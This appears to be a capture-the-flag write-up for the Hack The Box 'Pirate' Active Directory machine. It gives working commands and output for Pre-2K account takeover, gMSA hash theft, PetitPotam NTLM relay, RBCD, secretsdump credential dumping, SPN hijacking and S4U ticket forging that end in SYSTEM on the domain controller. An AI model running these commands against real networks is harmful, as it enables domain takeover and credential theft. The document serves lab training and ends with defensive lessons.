HTB: Pirate
Machine Overview
Pirate is a Hard rated Windows Active Directory machine from Hack The Box. It simulates a realistic corporate environment with a Domain Controller (DC01), a web server (WEB01), and several service accounts. The attack chain involves chaining multiple Active Directory misconfigurations - from Pre-Windows 2000 compatible access to NTLM relay, RBCD abuse, and SPN hijacking - to achieve full domain compromise.
pentest (low-priv) → MS01$ (Pre-2K) → gMSA hash → Ligolo pivot
→ WEB01 (NTLM relay + RBCD) → a.white (LSA dump) → a.white_adm
(ForceChangePassword) → DC01 (SPN Hijacking + Protocol Transition)
Initial Credentials:
Username: pentest
Password: p3nt3st2025!&
Reconnaissance
Port Scanning
We begin with an nmap scan to understand what we’re working with:
nmap -A -vv -T5 -oN scan.txt 10.129.200.106
Nmap scan report for 10.129.200.106
Host is up, received echo-reply ttl 127 (0.053s latency).
Not shown: 985 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 126 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP
(Domain: pirate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
443/tcp open https? syn-ack ttl 126
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP
2179/tcp open vmrdp? syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
The scan reveals a Windows Server 2019 Domain Controller (DC01.pirate.htb) with all the hallmarks of an Active Directory environment: LDAP, Kerberos, DNS, SMB, WinRM, and a Certificate Authority (pirate-DC01-CA).
The combination of Kerberos (88), LDAP (389), and DNS (53) immediately tells us this is a Domain Controller - DC01.pirate.htb. A few things stand out right away:
- Port 80/443 have a TTL of 126 instead of 127 like the other services, which hints at traffic being routed through a different host potentially a dual-NIC or proxy configuration.
- SMB signing is enabled and required on DC01, which means we won’t be able to relay NTLM authentication directly to this machine’s SMB service. We’ll keep this in mind if we find relay opportunities later - LDAP would be the fallback.
- The SSL certificate reveals a CA named
pirate-DC01-CA, indicating Active Directory Certificate Services (ADCS) is deployed. Worth investigating if we hit dead ends.
echo "10.129.200.106 pirate.htb DC01.pirate.htb adfs.pirate.htb WEB01.pirate.htb" | sudo tee -a /etc/hosts
Active Directory Enumeration
With valid domain credentials in hand (pentest), we skip straight to the most crucial step - collecting the full domain structure for graph-based analysis with BloodHound:
rusthound-ce -d pirate.htb -u pentest -p 'p3nt3st2025!&'
After importing the data into BloodHound, several critical relationships emerge:

| Source | Edge | Target |
|---|---|---|
a.white |
ForceChangePassword | a.white_adm |
a.white_adm |
AllowedToDelegate | WEB01 (HTTP/WEB01.pirate.htb) |
IT group (includes a.white_adm) |
WriteSPN | DC01$ |
Domain Secure Servers (includes MS01$) |
ReadGMSAPassword | gMSA_ADFS_prod$, gMSA_ADCS_prod$ |
a.white_adm |
TrustedToAuthForDelegation | ✓ (Protocol Transition enabled) |
At this point, we don’t control any of these privileged accounts yet. But we can already see the full chain forming:
- If we could get
MS01$→ we could read gMSA passwords → which gives us a powerful service account - If we could find
a.white’s password → we could reseta.white_adm→ who has delegation rights + WriteSPN on the DC itself - The combination of
TrustedToAuthForDelegation+AllowedToDelegateto WEB01 +WriteSPNon DC01 on a single account (a.white_adm) is suspicious - this is a textbook setup for SPN hijacking
The question becomes: how do we get our first foothold into this chain?
Pre-Windows 2000 - Machine Account Takeover
Since we need to compromise MS01$ (which sits inside the Domain Secure Servers group), we check for one of the most common legacy misconfigurations in Active Directory - Pre-Windows 2000 Compatible Access. When administrators pre-create computer accounts in AD before physically joining the machine to the domain, Windows historically sets the password to the lowercase machine name. If the machine never joins (or the password is never rotated), that default credential persists forever.
Discovery
BloodHound hinted at potential Pre-Windows 2000 Compatible Access issues. We verify using NetExec’s pre2k module:
┌──(tr0j4n㉿tr0j4n)-[~/Pirate]
└─$ nxc ldap 10.129.200.106 -u 'pentest' -p 'p3nt3st2025!&' -d pirate.htb -M pre2k
LDAP 10.129.200.106 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.200.106 389 DC01 [+] pirate.htb\\pentest:p3nt3st2025!&
PRE2K 10.129.200.106 389 DC01 Pre-created computer account: MS01$
PRE2K 10.129.200.106 389 DC01 Pre-created computer account: EXCH01$
PRE2K 10.129.200.106 389 DC01 [+] Found 2 pre-created computer accounts. Saved to /home/tr0j4n/.nxc/modules/pre2k/pirate.htb/precreated_computers.txt
PRE2K 10.129.200.106 389 DC01 [-] Failed to get TGT for ms01@pirate.htb: Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
PRE2K 10.129.200.106 389 DC01 [+] Successfully obtained TGT for exch01@pirate.htb
PRE2K 10.129.200.106 389 DC01 [+] Successfully obtained TGT for 1 pre-created computer accounts. Saved to /home/tr0j4n/.nxc/modules/pre2k/ccache
Two pre-created computer accounts: MS01$ and EXCH01$. The default password for EXCH01$ (exch01) still works - we got a valid TGT. The default password for MS01$ has been changed (KDC_ERR_PREAUTH_FAILED), but that doesn’t mean it’s secure. Pre-staged accounts are often created with weak security descriptors, and since we know the original password, we can reset it via RPC-SAMR:
impacket-changepasswd 'pirate.htb/MS01$:ms01@10.129.200.106' -newpass 'P@ssw0rd123!' -p rpc-samr
We now control MS01$. Back in our BloodHound data, MS01$ belongs to the “Domain Secure Servers” group - and that group has ReadGMSAPassword rights over the gMSA service accounts. This is our bridge to the next phase.
What is the Pre-Windows 2000 Bug?
When an administrator pre-creates a computer account in Active Directory (before the physical machine joins the domain), Windows historically sets the machine account password to the lowercase sAMAccountName (without the trailing $). If the machine never joins the domain or the password is never rotated, this default credential persists - giving any authenticated user who discovers it full control of that machine account.
Resetting MS01$’s Password
impacket-changepasswd 'pirate.htb/MS01$:ms01@10.129.200.106' -newpass 'P@ssw0rd123!' -p rpc-samr
Now we control MS01$ with a known password. This is significant because MS01$ belongs to the “Domain Secure Servers” group.
We specifically targeted MS01$ because our BloodHound graph already showed us the path: MS01$ → member of Domain Secure Servers → ReadGMSAPassword → gMSA_ADFS_prod$. After marking MS01$ as owned and re-running the shortest-path queries, the gMSA edge lit up as the next step.
gMSA Password Theft
MS01$ is in Domain Secure Servers, which can read the NTLM hashes of both Group Managed Service Accounts in the domain. gMSAs are unique - their passwords are 240+ characters long and rotate automatically every 30 days. They’re impossible to brute-force. But the irony is that any account in an authorized group can simply ask the Domain Controller for the hash. Security here depends entirely on proper group membership management:
┌──(tr0j4n㉿tr0j4n)-[~/Pirate]
└─$ nxc ldap 10.129.200.106 -u 'MS01$' -p 'P@ssw0rd123!' -d pirate.htb --gmsa
LDAP 10.129.200.106 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.200.106 389 DC01 [+] pirate.htb\\MS01$:P@ssw0rd123!
LDAP 10.129.200.106 389 DC01 [*] Getting GMSA Passwords
LDAP 10.129.200.106 389 DC01 Account: gMSA_ADCS_prod$ NTLM: 304106f739822ea2ad8ebe23f802d078 PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP 10.129.200.106 389 DC01 Account: gMSA_ADFS_prod$ NTLM: 8126756fb2e69697bfcb04816e685839 PrincipalsAllowedToReadPassword: Domain Secure Servers
Both gMSA hashes recovered. We verify that the gMSA_ADFS_prod$ hash works by connecting to the DC over WinRM (port 5985 was open in our scan):
evil-winrm -i 10.129.200.106 -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839'
We get a shell on the DC. While exploring the system, ipconfig reveals something interesting - the DC has two network interfaces: the external 10.129.x.x we’ve been attacking, and a hidden internal subnet on 192.168.100.x. There are machines on this subnet that we can’t reach directly from our Kali box.
Network Pivoting with Ligolo-ng
To interact with the internal 192.168.100.x subnet, we set up a Ligolo-ng tunnel through the DC. We chose Ligolo-ng specifically because AD attacks rely heavily on Kerberos authentication, which needs both DNS resolution and UDP traffic - things that traditional SOCKS proxies can’t handle, but a real TUN interface can.
After uploading the agent to the DC via our WinRM session and establishing the tunnel:
sudo ip route add 192.168.100.0/24 dev ligolo
With the tunnel active, we scan the hidden subnet. We check SMB first because it reveals the most about a Windows machine - hostname, domain membership, OS version, and critically, signing status:
nxc smb 192.168.100.0/24
SMB 192.168.100.2 445 WEB01 [*] Windows Server 2019 Build 17763 x64
(name:WEB01) (domain:pirate.htb) (signing:False)
WEB01 at 192.168.100.2 with SMB signing disabled. This is the single most important finding in this phase. When SMB signing is off, we can perform NTLM relay attacks - intercepting authentication from one machine and forwarding it to another service. With signing enabled, the relay would be detected and rejected.
┌──(tr0j4n㉿tr0j4n)-[~/Pirate]
└─$ nslookup WEB01.pirate.htb 10.129.200.106
Server: 10.129.200.106
Address: 10.129.200.106#53
Name: WEB01.pirate.htb
Address: 192.168.100.2
WEB01 - NTLM Relay via PetitPotam
We have a machine with SMB signing disabled. The next question is: what do we relay TO?
From our nmap scan, we know DC01 has SMB signing enabled and required, so relaying to the DC’s SMB service won’t work. But LDAP doesn’t enforce signing by default - and relaying to LDAP is actually more powerful because it lets us modify Active Directory objects directly (configure delegation, set shadow credentials, add SPNs, etc.).
The plan:
- Coerce
WEB01to authenticate to us using PetitPotam (MS-EFSRPC abuse) - Relay that authentication to DC01’s LDAP service
- Get an interactive LDAP shell running as
WEB01$
When we coerce WEB01, it sends its machine account (WEB01$) credentials. A machine account can modify its own AD object - which is exactly what we need for the next attack.
Terminal 1 - Start the relay listener:
impacket-ntlmrelayx -t ldap://10.129.200.106 -smb2support --remove-mic -i
The --remove-mic flag is critical here - it strips the Message Integrity Code from the NTLM authentication, which is required for cross-protocol relay (SMB → LDAP). The -i flag gives us an interactive LDAP shell rather than auto-executing a preset attack.
Terminal 2 - Trigger coercion:
nxc smb 192.168.100.2 -u 'pentest' -p 'p3nt3st2025!&' -M coerce_plus -o METHOD=PetitPotam LISTENER=10.10.14.140
Terminal 3 - Connect to the LDAP shell:
nc 127.0.0.1 11000
We now have an interactive LDAP shell running as WEB01$ against the Domain Controller.
Resource-Based Constrained Delegation (RBCD)
The goal now is to turn our LDAP shell (running as WEB01$) into Administrator access on WEB01 itself. A machine account has GenericWrite over its own AD object by default, which means we can modify certain attributes. Two attributes that lead to privilege escalation are:
msDS-KeyCredentialLink(Shadow Credentials) - lets us obtain a TGT for the machinemsDS-AllowedToActOnBehalfOfOtherIdentity(RBCD) - lets a trusted account impersonate users
We try Shadow Credentials first since it’s the most straightforward:
# set_shadow_creds WEB01$
Found Target DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb
Target SID: S-1-5-21-4107424128-4158083573-1300325248-3102
KeyCredential generated with DeviceID: 5ab45133-16a2-4f1d-8c72-190129b7fd81
Shadow credentials successfully added!
Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-031514A9, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
Blocked. Microsoft patch KB5008383 prevents machine accounts from modifying their own msDS-KeyCredentialLink. This is a fully patched Windows Server 2019, so Shadow Credentials is dead here. Always have backup attack paths.
We pivot to RBCD through process of elimination - msDS-AllowedToActOnBehalfOfOtherIdentity was not restricted by the same patch. RBCD works differently: instead of getting a TGT for WEB01$, we configure WEB01$ to trust another account we already control. That trusted account can then impersonate any user (including Administrator) to WEB01’s services.
We need an account that we control and that has an SPN (required for S4U2Self to work). The gMSA_ADFS_prod$ account we compromised earlier fits perfectly:
# set_rbcd WEB01$ gMSA_ADFS_prod$
Found Target DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb
Target SID: S-1-5-21-4107424128-4158083573-1300325248-3102
Found Grantee DN: CN=gMSA_ADFS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb
Grantee SID: S-1-5-21-4107424128-4158083573-1300325248-XXXX
Delegation rights modified successfully!
Now we use the gMSA hash to perform S4U2Self (forge a ticket as Administrator) then S4U2Proxy (delegate it to WEB01’s CIFS service):
impacket-getST -spn cifs/WEB01.pirate.htb -impersonate Administrator \
-hashes :8126756fb2e69697bfcb04816e685839 'pirate.htb/gMSA_ADFS_prod$'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
WEB01 - Secret Dumping & User Flag
With a forged Administrator ticket for WEB01, we could get a shell immediately via psexec. But the smarter move is secretsdump first - it extracts the SAM database, cached domain credentials, and LSA Secrets. LSA Secrets are particularly valuable because they often contain cleartext passwords stored by Windows for auto-logon configurations, scheduled tasks, and service accounts.
┌──(tr0j4n㉿tr0j4n)-[~/Pirate]
└─$ export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
┌──(tr0j4n㉿tr0j4n)-[~/Pirate]
└─$ impacket-secretsdump -k -no-pass WEB01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x342dfe90cc4061078b79f011cd08f931
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60da2d3ba00d6b5932e4c87dce6fa6b4:::
[*] Dumping cached domain logon information (domain/username:hash)
PIRATE.HTB/Administrator:$DCC2$10240#Administrator#8baf09ddc5830ac4456ee8639dd89644: (2026-02-25 02:41:09+00:00)
PIRATE.HTB/gMSA_ADFS_prod$:$DCC2$10240#gMSA_ADFS_prod$#66812dfee46ff41c9c8245a2819c3183: (2026-03-05 02:08:08+00:00)
PIRATE.HTB/a.white:$DCC2$10240#a.white#366c8924be3ea6d1d12825569a4bcc39: (2026-03-05 02:06:06+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
PIRATE\\WEB01$:plain_password_hex:29f1505d87014b01b4317fed1d52ddbee2792a698e7e1de1bcdf29ab5d4b8e54828ce470d23491ba84e82d786622a821a14c730cf8610a32db1951b7619ee08c3bcacbab53aac8e052bd64e638c6bbd9529daacf04f86cfb9034808c4378d2c328c8c6afe7655f4a099dc41caeb6279c53313edcbd58db3e14490b7543ba3250ac200ec9834992b61b3f4319162645b50f402de4db0843fc43db7d54e04828abf86e490959bc88670e50f0b50373a3745f70039f8fd032435c4a725526957c7ae0dbaa81273b3aa28c0b029fea90c271b6601ef3ba7a05a13ec8c8ffd9999dd10eee87b4b9eb08a8a4af90710056f558
PIRATE\\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
[*] DefaultPassword
PIRATE\\a.white:E2nvAOKSz5Xz2MJu
[*] DPAPI_SYSTEM
dpapi_machinekey:0x01cffc2ef9a91d20107371f9a4a4112c892ed989
dpapi_userkey:0xa4fddb1b2df2db7cc3d044dc1b559bc1b45a1de9
[*] NL$KM
0000 A5 24 39 57 3F 8F 30 DC 61 F1 56 B7 B5 5C 0F 7C .$9W?.0.a.V..\.|
0010 6B 0A FF DF B0 A2 99 C3 68 A9 FE 15 E2 48 33 A9 k.......h....H3.
0020 E9 8C 27 F8 8B 7C 05 55 4D FE 3C 5D 09 EA 9C 49 ..'..|.UM.<]...I
0030 95 EB 7A 09 5B 48 7A 14 DC 74 E9 CB 7C 1A E0 8A ..z.[Hz..t..|...
NL$KM:a52439573f8f30dc61f156b7b55c0f7c6b0affdfb0a299c368a9fe15e24833a9e98c27f88b7c05554dfe3c5d09ea9c4995eb7a095b487a14dc74e9cb7c1ae08a
[*] Cleaning up...
[*] Stopping service RemoteRegistry
There it is - the DefaultPassword entry: PIRATE\\a.white:E2nvAOKSz5Xz2MJu. Someone configured Windows auto-logon on WEB01 using this domain account. When auto-logon is set up, Windows stores the password in the LSA Secrets registry hive, where any local Administrator can extract it.
Recall from our BloodHound data: a.white has ForceChangePassword rights over a.white_adm. This is the next link in our chain.
ForceChangePassword - a.white to a.white_adm
We just recovered a.white’s cleartext password. Returning to our BloodHound graph, we already noted this edge: a.white → ForceChangePassword → a.white_adm. This ACL permission allows us to administratively reset the target’s password without knowing the old one - effectively hijacking a.white_adm’s account.
There’s an important distinction here: a password change requires the old password and enforces password history policies. A password reset is an administrative override that bypasses all of that. We use rpcclient’s setuserinfo2 at level 23, which performs a reset:
┌──(tr0j4n㉿tr0j4n)-[~/Pirate]
└─$ rpcclient -U 'pirate.htb/a.white%E2nvAOKSz5Xz2MJu' 10.129.200.106
rpcclient $> setuserinfo2 a.white_adm 23 'P@ssw0rd123!'
rpcclient $> exit
Note: We initially tried
impacket-changepasswd, but it defaulted to a password change and AD rejected it with a “policy violation” due to password history. Switching torpcclient’s reset operation bypassed this entirely.
We verify that the new credentials work:
┌──(tr0j4n㉿tr0j4n)-[~/Pirate]
└─$ smbclient -L \\\\10.129.200.106 -U 'a.white_adm%P@ssw0rd123!'
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.200.106 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
We now fully control a.white_adm.
SPN Hijacking & Kerberos Protocol Transition
This is the endgame. Before pulling the trigger, we verify exactly what a.white_adm can do by querying its delegation configuration:
bloodyAD -d pirate.htb -u a.white_adm -p 'P@ssw0rd123!' --host 10.129.200.106 \
get object a.white_adm --attr msDS-AllowedToDelegateTo
distinguishedName: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
msDS-AllowedToDelegateTo: http/WEB01.pirate.htb; HTTP/WEB01
Combining everything from BloodHound, a.white_adm has three properties that individually seem harmless but together form a devastating kill chain:
TrustedToAuthForDelegation→ Protocol Transition is enabled. This meansa.white_admcan use S4U2Self to forge a Kerberos ticket as any user (includingAdministrator) without that user ever authenticating.msDS-AllowedToDelegateTo: HTTP/WEB01.pirate.htb→a.white_admcan delegate those forged tickets to WEB01’s HTTP service. But we already own WEB01 - this alone is useless.WriteSPNonDC01$→a.white_adm(via theITgroup) can modify Service Principal Names on the Domain Controller. By itself, just lets us add arbitrary SPNs to the DC - also seemingly useless.
The key insight is combining #2 and #3. When a.white_adm requests an S4U2Proxy ticket for HTTP/WEB01.pirate.htb, the KDC doesn’t hardcode “WEB01” as the target. It dynamically looks up which AD object currently holds that SPN in the directory.
If we move HTTP/WEB01.pirate.htb from WEB01$ to DC01$, the KDC will look it up, find it on DC01$, and issue a ticket encrypted with DC01$’s secret key. We just tricked the Domain Controller into giving us a Domain Admin ticket through legitimate delegation mechanics.
Step 1: Strip the SPN from WEB01$
Active Directory enforces SPN uniqueness across the forest. We can’t add HTTP/WEB01.pirate.htb to DC01$ if it still exists on WEB01$ - AD will throw a Constraint Violation for the duplicate.
We first tried authenticating as WEB01$ using the NTLM hash from our LSA dump (feba09cf...), but the machine account password had rotated since our dump - we got invalidCredentials. No matter. We discovered that a.white_adm has sufficient rights to overwrite WEB01$’s entire SPN array. Instead of removing a single SPN value (which requires authenticating as WEB01$), we used bloodyAD to do an LDAP MODIFY_REPLACE - overwriting the whole array with only the Windows defaults:
bloodyAD -d pirate.htb -u a.white_adm -p 'P@ssw0rd123!' --host 10.129.200.106 \
set object WEB01$ servicePrincipalName \
-v 'RestrictedKrbHost/WEB01' \
-v 'RestrictedKrbHost/WEB01.pirate.htb' \
-v 'HOST/WEB01' \
-v 'HOST/WEB01.pirate.htb'
[+] WEB01$'s servicePrincipalName has been updated
HTTP/WEB01.pirate.htb is gone from WEB01$.
Step 2: Hijack the SPN onto DC01$
With the duplicate eliminated, a.white_adm can now add the SPN to DC01. We use addspn.py from dirkjanm’s krbrelayx toolkit:
┌──(tr0j4n㉿tr0j4n)-[~/Pirate/krbrelayx]
└─$ python3 addspn.py -u 'pirate.htb\\a.white_adm' -p 'P@ssw0rd123!' -t DC01$ -s 'HTTP/WEB01.pirate.htb' 10.129.200.106
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
The KDC now believes HTTP/WEB01.pirate.htb lives on DC01$.
Step 3: Forge the Domain Admin Ticket
Now we pull the trigger. a.white_adm requests a service ticket via S4U, and the -altservice flag rewrites the service name from HTTP to CIFS (giving us SMB access instead of HTTP):
impacket-getST -spn 'HTTP/WEB01.pirate.htb' -impersonate Administrator \
-altservice 'cifs/DC01.pirate.htb' \
'pirate.htb/a.white_adm:P@ssw0rd123!' -dc-ip 10.129.200.106
What happens under the hood:
- S4U2Self:
a.white_admasks the KDC for a ticket impersonatingAdministratorto itself. Protocol Transition allows this without the real Administrator authenticating. - S4U2Proxy:
a.white_admforwards that ticket to request access toHTTP/WEB01.pirate.htb. - KDC Lookup: The KDC looks up
HTTP/WEB01.pirate.htb→ finds it onDC01$→ issues a ticket encrypted with DC01$’s key. altservice: Impacket rewrites the service name fromHTTPtocifs, giving us SMB access to the DC.
Domain Admin - Root Flag
┌──(tr0j4n㉿tr0j4n)-[~/Pirate]
└─$ export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
┌──(tr0j4n㉿tr0j4n)-[~/Pirate]
└─$ impacket-psexec -k -no-pass DC01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on DC01.pirate.htb.....
[*] Found writable share ADMIN$
[*] Uploading file...
[*] Opening SVCManager on DC01.pirate.htb.....
[*] Creating service...
[*] Starting service...
Microsoft Windows [Version 10.0.17763.6775]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\\Windows\\system32> whoami
nt authority\\system
C:\\Windows\\system32> type C:\\Users\\Administrator\\Desktop\\root.txt
[ROOT FLAG]
Kill Chain Summary
┌─────────────────────────────────────────────────────────────────────┐
│ PIRATE - KILL CHAIN │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ pentest (low-priv credentials) │
│ │ │
│ ├──► Pre-2K Module ──► MS01$ (machine account) │
│ │ │ │
│ │ └──► ReadGMSAPassword │
│ │ │ │
│ │ └──► gMSA_ADFS_prod$ (hash) │
│ │ │
│ ├──► Ligolo-ng Pivot ──► Internal Network (192.168.100.x) │
│ │ │ │
│ │ └──► WEB01 (SMB Signing: OFF) │
│ │ │
│ └──► PetitPotam Coercion ──► NTLM Relay ──► LDAP Shell (WEB01$) │
│ │ │
│ └──► RBCD │
│ │ │
│ gMSA hash ──► S4U ──► Administrator@WEB01 │ │
│ │ │ │
│ └──► secretsdump │ │
│ │ │ │
│ └──► a.white │ │
│ │ │ │
│ ForceChangePassword ◄─────┘ │ │
│ │ │ │
│ └──► a.white_adm │ │
│ │ │ │
│ bloodyAD ──► Strip SPN from WEB01$ ────────┘ │
│ │ │
│ addspn.py ──► Add SPN to DC01$ │
│ │ │
│ getST.py ──► S4U + altservice │
│ │ │
│ psexec.py ──► SYSTEM on DC01 │
│ │
└─────────────────────────────────────────────────────────────────────┘
Key Takeaways
- Pre-Windows 2000 accounts are still dangerous. Despite being a legacy feature, pre-created computer accounts with default passwords remain common in enterprise environments.
- gMSA password access is transitive. If an attacker compromises any member of a group with
ReadGMSAPassword, they inherit the service account’s privileges. - SMB signing is not optional. A single machine with signing disabled can become the entry point for relay attacks that compromise the entire domain.
- Patch status matters. The Shadow Credentials attack (KB5008383) was patched, forcing us to use RBCD as an alternative. Always have backup attack paths.
- SPN hijacking is devastating. The combination of
WriteSPN+TrustedToAuthForDelegation+ Constrained Delegation creates a path to Domain Admin that is difficult to detect and even harder to prevent without proper ACL auditing. - AD attack paths are chains, not individual exploits. No single vulnerability here is “critical” on its own. It is the combination of six misconfigurations that enables full domain compromise.
If you enjoyed this writeup, consider giving Pirate a try on Hack The Box. Happy hacking! 🏴☠️